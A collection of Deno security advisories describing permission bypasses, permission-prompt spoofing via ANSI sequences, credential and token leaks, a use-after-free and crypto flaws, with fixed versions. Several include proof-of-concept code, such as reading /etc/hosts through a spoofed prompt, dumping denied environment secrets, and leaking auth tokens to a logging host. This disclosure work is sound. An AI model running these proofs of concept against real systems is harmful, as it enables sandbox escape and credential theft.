Deno is a JavaScript, TypeScript, and WebAssembly runtime with secure defaults. By using ANSI escape sequences and a race between libc::tcflush(0, libc::TCIFLUSH) and reading standard input, it's possible to manipulate the permission prompt and force it to allow an unsafe action regardless of the user input. Some ANSI escape sequences act as a info request to the master terminal emulator and the terminal emulator sends back the reply in the PTY channel. standard streams also use this channel to send and get data. For example the \033[6n sequence requests the current cursor position. These sequences allow us to append data to the standard input of Deno. This vulnerability allows an attacker to bypass Deno permission policy. This vulnerability is fixed in 1.42.2.
Summary
It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.
PoC
js // poc.js import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
Summary The Deno.env.toObject method ignores any variables listed in the --deny-env option of the deno run command. When looking at the documentation of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.
PoC
export AWSSECRETACCESSKEY=my-secret-aws-key
Works as expected. The program stops with a "NotCapable" error message echo 'console.log(Deno.env.get("AWSSECRETACCESSKEY"));' | deno run \ --allow-env \ --deny-env=AWSACCESSKEYID,AWSSECRETACCESSKEY -
All enviroment variables are printed and the --deny-env list is completely disregarded echo 'console.log(Deno.env.toObject());' | deno run \ --allow-env \ --deny-env=AWSACCESSKEYID,AWSSECRETACCESSKEY -
The first example using get exits with the following error: error: Uncaught (in promise) NotCapable: Requires env access to "AWSSECRETACCESSKEY", run again with the --allow-env flag console.log(Deno.env.get("AWSSECRETACCESSKEY")); ^ at Object.getEnv [as get] (ext:denoos/30os.js:124:10) at file:///$deno$stdin.mts:1:22
The second example using toObject prints all environment variables: [Object: null prototype] { ... AWSSECRETACCESSKEY: "my-secret-aws-key", ... }
Impact Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
Summary
deno run --allow-read --deny-read main.ts results in allowed, even though 'deny' should be stronger. Same with all global unary permissions given as --allow- --deny-.
Details
Caused by the fast exit logic in #22894.
PoC
Run the above command expecting no permissions to be passed.
Impact
This only affects a nonsensical combination of flags, so there shouldn't be a real impact on the userbase.
Summary
This affects AES-256-GCM and AES-128-GCM in Deno, introduced by commit 0d1beed. Specifically, the authentication tag is not being validated. This means tampered ciphertexts or incorrect keys might not be detected, which breaks the guarantees expected from AES-GCM. Older versions of Deno correctly threw errors in such cases, as does Node.js.
Without authentication tag verification, AES-GCM degrades to essentially CTR mode, removing integrity protection. Authenticated data set with setaad is also affected, as it is incorporated into the GCM hash (ghash) but this too is not validated, rendering AAD checks ineffective.
PoC
ts import { Buffer } from "node:buffer"; import { createCipheriv, createDecipheriv, randomBytes, scrypt, } from "node:crypto";
type Encrypted = { salt: string; iv: string; enc: string; authTag: string; };
const deriveKey = (key: string, salt: Buffer) => new Promise<Buffer>((res, rej) => scrypt(key, salt, 32, (err, k) => { if (err) rej(err); else res(k); }) );
async function encrypt(text: string, key: string): Promise<Encrypted> { const salt = randomBytes(32); const k = await deriveKey(key, salt);
const iv = randomBytes(16); const enc = createCipheriv("aes-256-gcm", k, iv); const ciphertext = enc.update(text, "binary", "binary") + enc.final("binary");
return { salt: salt.toString("binary"), iv: iv.toString("binary"), enc: ciphertext, authTag: enc.getAuthTag().toString("binary"), }; }
async function decrypt(enc: Encrypted, key: string) { const k = await deriveKey(key, Buffer.from(enc.salt, "binary")); const dec = createDecipheriv("aes-256-gcm", k, Buffer.from(enc.iv, "binary"));
const out = dec.update(enc.enc, "binary", "binary"); dec.setAuthTag(Buffer.from(enc.authTag, "binary")); return out + dec.final("binary"); }
const test = await encrypt("abcdefghi", "key"); test.enc = ""; console.log(await decrypt(test, "")); // no error
Impact
While discovered through experimentation, authentication failures that should raise errors may be silently ignored.
Deno is a runtime for JavaScript and TypeScript. The versions of Deno between release 1.18.0 and 1.20.2 (inclusive) are vulnerable to an attack where a malicious actor controlling the code executed in a Deno runtime could bypass all permission checks and execute arbitrary shell code. This vulnerability does not affect users of Deno Deploy. The vulnerability has been patched in Deno 1.20.3. There is no workaround. All users are recommended to upgrade to 1.20.3 immediately.
Versions of the package deno before 1.31.0 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the upgradeWebSocket function, which contains regexes in the form of /s,s/, used for splitting the Connection/Upgrade header. A specially crafted Connection/Upgrade header can be used to significantly slow down a web socket server.
Deno is a runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Multi-threaded programs were able to spoof interactive permission prompt by rewriting the prompt to suggest that program is waiting on user confirmation to unrelated action. A malicious program could clear the terminal screen after permission prompt was shown and write a generic message. This situation impacts users who use Web Worker API and relied on interactive permission prompt. The reproduction is very timing sensitive and can’t be reliably reproduced on every try. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). The problem has been fixed in Deno v1.29.3; it is recommended all users update to this version. Users are advised to upgrade. Users unable to upgrade may run with --no-prompt flag to disable interactive permission prompts.
Impact
Resizable ArrayBuffers passed to asynchronous native functions that are shrunk during the asynchronous operation could result in an out-of-bound read/write.
It is unlikely that this has been exploited in the wild, as the only version affected is Deno 1.32.0.
Deno Deploy users are not affected.
Patches
The problem has been resolved by disabling resizable ArrayBuffers temporarily in Deno 1.32.1. A future version of Deno will re-enable resizable ArrayBuffers with a proper fix.
Workarounds
Upgrade to Deno 1.32.1, or run with --v8-flags=--no-harmony-rab-gsab to disable resizable ArrayBuffers.
Impact
Insufficient validation of parameters in Deno.makeTemp APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.
A user may provide a prefix or suffix to a Deno.makeTemp API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:
$ mkdir /tmp/good $ mkdir /tmp/bad $ deno repl --allow-write=/tmp/good Deno.makeTempFileSync({ dir: "/tmp/bad" }) ┌ ⚠️ Deno requests write access to "/tmp/bad". ├ Requested by Deno.makeTempFile() API. ├ Run again with --allow-write to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n ❌ Denied write access to "/tmp/bad". Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag at Object.makeTempFileSync (ext:denofs/30fs.js:176:10) at <anonymous>:1:27 Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" }) "/tmp/good/../bad/a9432ef5" $ ls -l /tmp/bad/a9432ef5 -rw-------@ 1 user group 0 Mar 4 09:20 /tmp/bad/a9432ef5
Patches
This is fixed in Deno 1.41.1.
Summary A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.
Details In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.
For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization.
This difference allows a malicious Deno program to spoof the contents of the permission prompt.
PoC Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts. javascript const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" }; await Deno.permissions.request(permission); console.log(await Deno.readTextFile("/etc/hosts"));
Expected prompt ┌ ⚠️ Deno requests read access to "/etc/hosts". ├ Requested by Deno.permissions.query() API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
Actual prompt ┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts". ├ Requested by Deno.permissions.query() API ├ Run again with --allow-read to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
Impact Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.
Summary
A vulnerability in Deno's Node.js compatibility runtime allows for cross-session data contamination during simultaneous asynchronous reads from Node.js streams sourced from sockets or files. The issue arises from the re-use of a global buffer (BUF) in streamwrap.ts used as a performance optimization to limit allocations during these asynchronous read operations. This can lead to data intended for one session being received by another session, potentially resulting in data corruption and unexpected behavior.
Details
A bug in Deno's Node.js compatibility runtime results in data cross-reception during simultaneous asynchronous reads from Node.js network streams. When multiple independent network socket connections are involved, this vulnerability can be triggered. For instance, two separate server sockets that receive data from their respective client sockets and then echo the received data back to the client using Node.js streams may experience an issue where data from one socket may appear on another socket. Due to the improper isolation of the global buffer (BUF), data sent by one socket can end up being incorrectly received by another socket. Consequently, data intended for one session may be exposed to another session, potentially leading to data corruption and unexpected behavior.
This buffer was introduced as a performance optimization to avoid excessive allocations during network read operations.
In cases where the net.Stream is connected to a remote server such as a database or key/value store such as Redis, this may result in a packet received on one connection being presented to another, causing data cross-contamination between multiple users and potentially leaking sensitive information.
It is important to note that this vulnerability does not affect Deno network streams created with the Deno.listen and Deno.connect APIs.
The impact of this issue may extend beyond node.js network streams, however, and may also affect asynchronous reads from non-network node.js Stream such as those created from files.
PoC
https://github.com/denoland/deno/issues/20188
Impact
This affects all users of Deno that use the node.js compatibility layer for network communication or other streams, including packages that may require node.js libraries indirectly.
Summary
Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, resulting in arbitrary code execution.
Details
const cvoid and ExternalPointer (defined via external!() macros) types are used to represent v8::External wrapping arbitrary void with an external lifetime. This is inherently unsafe as we are effectively eliding all Rust lifetime safety guarantees.
const cvoid is trivially unsafe. ExternalPointer attempts to resolve this issue by wrapping the underlying pointer with a usized marker (ExternalWithMarker<T>).
However, the marker relies on the randomness of PIE address (binary base address) which is still trivially exploitable for a non-PIE binary. It is also equally exploitable on a PIE binary when an attacker is able to derandomize the PIE address. This is problematic as it escalates an information leak of the PIE address into an exploitable vulnerability.
Note that an attacker able to control code executed inside the Deno runtime is very likely to be able to bypass ASLR with any means necessary (e.g. by chaining another vulnerability, or by using other granted permissions such as --allow-read to read /proc/self/maps).
PoC
For simplicity, we use Deno version 1.38.0 where streaming operations uses const cvoid. Testing environment is Docker image denoland/deno:alpine-1.38.0@sha256:fe51a00f4fbbaf1e72b29667c3eeeda429160cef2342f22a92c3820020d41f38 although the exact versions shouldn't matter much if it's in 1.36.2 up to 1.38.0 (before ExternalPointer patch, refer Impact section for details)
js const ops = Deno[Deno.internal].core.ops; const rid = ops.opreadablestreamresourceallocate(); const sink = ops.opreadablestreamresourcegetsink(rid);
// close ops.opreadablestreamresourceclose(sink); ops.opreadablestreamresourceclose(sink);
// reclaim BoundedBufferChannelInner const ab = new ArrayBuffer(0x8058); const dv = new DataView(ab);
// forge chunk contents dv.setBigUint64(0, 2n, true); dv.setBigUint64(0x8030, 0x1337c0d30000n, true);
// trigger segfault Deno.close(rid);
Below is the dmesg log after the crash. We see that Deno has segfaulted on 1337c0d30008, which is +8 of what we have written at offset 0x8030. Note also that the dereferenced value will immediately be used as a function pointer, with the first argument dereferenced from offset 0x8038 - it is trivial to use this to build an end-to-end exploit.
text [ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0) [ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48
The same vulnerability exists for ExternalPointer implementation, but now it is required for the attacker to either leak the PIE address somehow, or else exploit unexpected aliasing behavior of v8::External values. The latter has not been investigated in depth, but it is theoretically possible to alias the same underlying pointer to different v8::External on different threads (Workers) and exploit the concurrency (RefCell may break this though).
Impact
Use of inherently unsafe const cvoid and ExternalPointer leads to use-after-free access of the underlying structure, which is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.
This bug is known to be exploitable for both const cvoid and ExternalPointer implementations.
Affected versions of Deno is from 1.36.2 up to latest.
- ext/web/streamresource.rs: - const cvoid introduced in 1.36.2 - Patched into ExternalPointer in 1.38.1 - ext/http/httpnext.rs: - ExternalPointer introduced in 1.38.2
Summary
Use of raw file descriptors in opnodeipcpipe() leads to premature close of arbitrary file descriptors, allowing standard input to be re-opened as a different resource resulting in permission prompt bypass.
Details
Node childprocess IPC relies on the JS side to pass the raw IPC file descriptor to opnodeipcpipe(), which returns a IpcJsonStreamResource ID associated with the file descriptor. On closing the resource, the raw file descriptor is closed together.
Although closing a file descriptor is seemingly a harmless task, this has been known to be exploitable: - With --allow-read and --allow-write permissions, one can open /dev/ptmx as stdin. This device happily accepts TTY ioctls and pipes anything written into it back to the reader. - This has been presented in a hacking competition (WACON 2023 Quals "dino jail"). - However, the precondition of this challenge was heavily contrived: fd 0 has manually been closed by FFI and setuid() was used to drop permissions and deny access to /proc since global write permissions are usually equivalent to arbitrary code execution (/proc/self/mem).
As this vulnerability conveniently allows us to close stdin (fd 0) without any FFI, we can open any resource that when read returns y, Y or A as its first character (runtimes/permissions/prompter.rs) to bypass the prompt.
There is a caveat however - all stdio/stdin/stderr streams are locked, after which clearstdin() is called. This invokes libc::tcflush(0, libc::TCIFLUSH) which fails on a non-TTY file descriptor.
This can be exploited by widening the race window between clearstdin() and the next stdinlock.readline(). Notably, the prompt message contains the requested resource name (path) which is filtered by stripansicodesandasciicontrol(). This is also concatenated by write!() to make a single buffer printed out to stderr. Thus, if we request a very long resource name, the window will widen allowing us to easily and stably race another Worker that closes fd 0 and opens a resource starting with an A\n within the race window.
Note that attacker does not need any permissions to exploit this bug to a full permission prompt bypass, as Cache API can be used to create and open files with controlled content without any permissions. Refer to the Impact section for more details.
PoC
Testing environment is Docker image denoland/deno:alpine-1.39.0@sha256:95064390f2c115673762bfc4fe15b1a7f81c859038b8c02b277ede7cd8a2ccbf.
Below PoC closes stdout (fd 1) and then prints two lines, one on stdout and one on stderr. Only the latter line is shown as stdout file descriptor is closed.
js const ops = Deno[Deno.internal].core.ops;
// open fd 1 as ipc stream resource const rid = ops.opnodeipcpipe(1);
// close resource & fd 1 Deno.close(rid);
// this should not be seen (stdout) console.log('not seen');
// but this is seen (stderr) console.error('seen');
Below is /proc/$(pgrep deno)/fd right after executing the last line of the above PoC. We see that fd 1 is indeed missing.
text total 0 dr-x------ 2 root root 30 Dec 18 07:07 ./ dr-xr-xr-x 9 root root 0 Dec 18 07:07 ../ lrwx------ 1 root root 64 Dec 18 07:07 0 -> /dev/pts/0 l-wx------ 1 root root 64 Dec 18 07:07 10 -> 'pipe:[159305]' lr-x------ 1 root root 64 Dec 18 07:07 11 -> 'pipe:[159306]' l-wx------ 1 root root 64 Dec 18 07:07 12 -> 'pipe:[159306]' lrwx------ 1 root root 64 Dec 18 07:07 13 -> /deno-dir/depanalysiscachev1 l-wx------ 1 root root 64 Dec 18 07:07 14 -> 'pipe:[159305]' l-wx------ 1 root root 64 Dec 18 07:07 15 -> 'pipe:[159306]' lrwx------ 1 root root 64 Dec 18 07:07 16 -> /deno-dir/nodeanalysiscachev1 lrwx------ 1 root root 64 Dec 18 07:07 17 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 18 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 19 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 2 -> /dev/pts/0 lrwx------ 1 root root 64 Dec 18 07:07 20 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 21 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 22 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 23 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 24 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 25 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 26 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 27 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 28 -> 'socket:[159310]' lrwx------ 1 root root 64 Dec 18 07:07 29 -> 'socket:[159308]' lrwx------ 1 root root 64 Dec 18 07:07 3 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 30 -> 'socket:[159309]' lrwx------ 1 root root 64 Dec 18 07:07 4 -> 'anoninode:[eventfd]' lrwx------ 1 root root 64 Dec 18 07:07 5 -> 'anoninode:[eventpoll]' lrwx------ 1 root root 64 Dec 18 07:07 6 -> 'socket:[159302]' lrwx------ 1 root root 64 Dec 18 07:07 7 -> 'socket:[159303]' lrwx------ 1 root root 64 Dec 18 07:07 8 -> 'socket:[159302]' lr-x------ 1 root root 64 Dec 18 07:07 9 -> 'pipe:[159305]'
Impact
Use of raw file descriptors in opnodeipcpipe() leads to premature close of arbitrary file descriptors. This allow standard input (fd 0) to be closed and re-opened for a different resource, which allows a silent permission prompt bypass. This is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.
This bug is known to be exploitable - there is a working exploit that achieves arbitrary code execution by bypassing prompts from zero permissions, additionally abusing the fact that Cache API lacks filesystem permission checks. The attack can be conducted silently as stderr can also be closed, suppressing all prompt outputs.
Note that Deno's security model is currently described as follows: - All runtime I/O is considered to be privileged and must always be guarded by a runtime permission. This includes filesystem access, network access, etc. - The only exception to this is runtime storage explosion attacks that are isolated to a part of the file system, caused by evaluated code (for example, caching big dependencies or no limits on runtime caches such as the Web Cache API). Although it is ambiguous if the fundamental lack of file system permission checks on Web Cache API is a vulnerability or not, the reporter have not reported this as a vulnerability assuming that this is a known risk (or a feature).
Affected version of Deno is 1.39.0.
- Introduced with commit 5a91a06 - Fixed with commit 55fac9f
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
authtokens.rs uses a simple endswith check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com. - Run DENOAUTHTOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENOAUTHTOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact What kind of vulnerability is it? Who is impacted? Anyone who uses DENOAUTHTOKENS and imports potentially untrusted code is affected.
The Deno Standard Library provides APIs for Deno and the Web. Prior to version 1.0.11, http/file-server's serveDir with showDirListing: true option is vulnerable to cross-site scripting when the attacker is a user who can control file names in the source directory on systems with POSIX file names. Exploitation might also be possible on other systems but less trivial due to e.g. lack of file name support for <> in Windows. Version 1.0.11 fixes the issue.
An issue in .npmrc support in Deno 1.44.0 was discovered where Deno would send .npmrc credentials for the scope to the tarball URL when the registry provided URLs for a tarball on a different domain. All users relying on .npmrc are potentially affected by this vulnerability if their private registry references tarball URLs at a different domain. This includes usage of deno install subcommand, auto-install for npm: specifiers and LSP usage. It is recommended to upgrade to Deno 1.44.1 and if your private registry ever serves tarballs at a different domain to rotate your registry credentials.
Deno <=1.14.0 file sandbox does not handle symbolic links correctly. When running Deno with specific write access, the Deno.symlink method can be used to gain access to any directory.
Deno is a runtime for JavaScript and TypeScript that uses V8 and is built in Rust. In Deno versions 1.5.0 to 1.10.1, modules that are dynamically imported through import() or new Worker might have been able to bypass network and file system permission checks when statically importing other modules. The vulnerability has been patched in Deno release 1.10.2.
Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a opspawnchild or opkill prompt and replace it with any desired text. This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run. This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers). This issue has been patched in version 1.31.2.